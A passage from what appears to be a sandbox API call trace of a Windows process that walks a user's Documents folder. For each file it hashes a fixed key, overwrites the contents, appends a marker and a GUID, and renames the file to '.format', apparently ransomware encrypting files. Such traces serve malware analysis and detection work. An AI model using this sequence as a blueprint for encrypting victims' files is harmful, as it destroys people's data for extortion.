lpNewFilePointer=0x0) returned 1 [0067.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.566] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.566] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.566] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.566] CloseHandle (hObject=0x5c8) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0067.567] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\Kv9O7qYcn-HRyPYLby.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\kv9o7qycn-hrypylby.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\Kv9O7qYcn-HRyPYLby.xls.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\kv9o7qycn-hrypylby.xls.format")) returned 1 [0067.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.567] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.568] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85d4070, ftCreationTime.dwHighDateTime=0x1d4cbe7, ftLastAccessTime.dwLowDateTime=0xec79da0, ftLastAccessTime.dwHighDateTime=0x1d4c857, ftLastWriteTime.dwLowDateTime=0xec79da0, ftLastWriteTime.dwHighDateTime=0x1d4c857, nFileSizeHigh=0x0, nFileSizeLow=0x3d85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nbee0Jd.doc", cAlternateFileName="")) returned 1 [0067.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.568] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\nbee0Jd.doc") returned=".doc" [0067.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\nbee0Jd.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\nbee0jd.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.568] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=15749) returned 1 [0067.568] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.571] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3d5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.571] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.572] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.572] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.572] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x3d85, lpOverlapped=0x0) returned 1 [0067.572] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.572] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.572] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.572] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.573] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.573] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.573] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.573] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.573] GetLastError () returned 0x0 [0067.573] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.573] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.573] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3d90) returned 0x32aa8e0 [0067.573] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.573] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.573] WriteFile (in: hFile=0x5c8, lpBuffer=0x32aa8e0*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32aa8e0*, lpNumberOfBytesWritten=0x38cfb24*=0x3d80, lpOverlapped=0x0) returned 1 [0067.573] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32aa8e0 | out: hHeap=0x5d0000) returned 1 [0067.573] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3d85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.574] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.574] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.574] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.574] CloseHandle (hObject=0x5c8) returned 1 [0067.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac1b0 [0067.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac1b0 | out: hHeap=0x5d0000) returned 1 [0067.575] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\nbee0Jd.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\nbee0jd.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\nbee0Jd.doc.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\nbee0jd.doc.format")) returned 1 [0067.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.575] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.576] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb10e80, ftCreationTime.dwHighDateTime=0x1d4d025, ftLastAccessTime.dwLowDateTime=0x38daabb0, ftLastAccessTime.dwHighDateTime=0x1d4cebe, ftLastWriteTime.dwLowDateTime=0x38daabb0, ftLastWriteTime.dwHighDateTime=0x1d4cebe, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="o5D3Phk7JF5o4RP.xls", cAlternateFileName="O5D3PH~1.XLS")) returned 1 [0067.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.576] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\o5D3Phk7JF5o4RP.xls") returned=".xls" [0067.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\o5D3Phk7JF5o4RP.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\o5d3phk7jf5o4rp.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.576] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=3810) returned 1 [0067.576] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.579] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xebc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.579] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.580] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.580] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xee2, lpOverlapped=0x0) returned 1 [0067.580] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.580] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.580] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.580] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.581] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.581] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.581] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.581] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.581] GetLastError () returned 0x0 [0067.581] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.581] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee0) returned 0x32a03b0 [0067.581] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.581] WriteFile (in: hFile=0x5c8, lpBuffer=0x32a03b0*, nNumberOfBytesToWrite=0xedd, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32a03b0*, lpNumberOfBytesWritten=0x38cfb24*=0xedd, lpOverlapped=0x0) returned 1 [0067.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a03b0 | out: hHeap=0x5d0000) returned 1 [0067.581] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xee2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.581] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.581] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.582] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.582] CloseHandle (hObject=0x5c8) returned 1 [0067.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.582] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0067.582] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\o5D3Phk7JF5o4RP.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\o5d3phk7jf5o4rp.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\o5D3Phk7JF5o4RP.xls.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\o5d3phk7jf5o4rp.xls.format")) returned 1 [0067.583] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.583] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.584] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf18f380, ftCreationTime.dwHighDateTime=0x1d4c5d4, ftLastAccessTime.dwLowDateTime=0xaa359e10, ftLastAccessTime.dwHighDateTime=0x1d4d480, ftLastWriteTime.dwLowDateTime=0xaa359e10, ftLastWriteTime.dwHighDateTime=0x1d4d480, nFileSizeHigh=0x0, nFileSizeLow=0x66f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pty5yFAIeFtI0nYC_b.odp", cAlternateFileName="PTY5YF~1.ODP")) returned 1 [0067.584] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.584] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.584] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\pty5yFAIeFtI0nYC_b.odp") returned=".odp" [0067.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\pty5yFAIeFtI0nYC_b.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\pty5yfaiefti0nyc_b.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.584] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=26355) returned 1 [0067.584] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.586] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x66cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.586] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.587] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.587] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x66f3, lpOverlapped=0x0) returned 1 [0067.587] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.588] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.588] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.588] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.588] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.588] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.588] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.588] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.588] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.588] GetLastError () returned 0x0 [0067.588] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.588] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x66f0) returned 0x32b2f40 [0067.589] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.589] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x66ee, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x66ee, lpOverlapped=0x0) returned 1 [0067.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.589] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x66f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.589] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.589] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.589] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.589] CloseHandle (hObject=0x5c8) returned 1 [0067.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 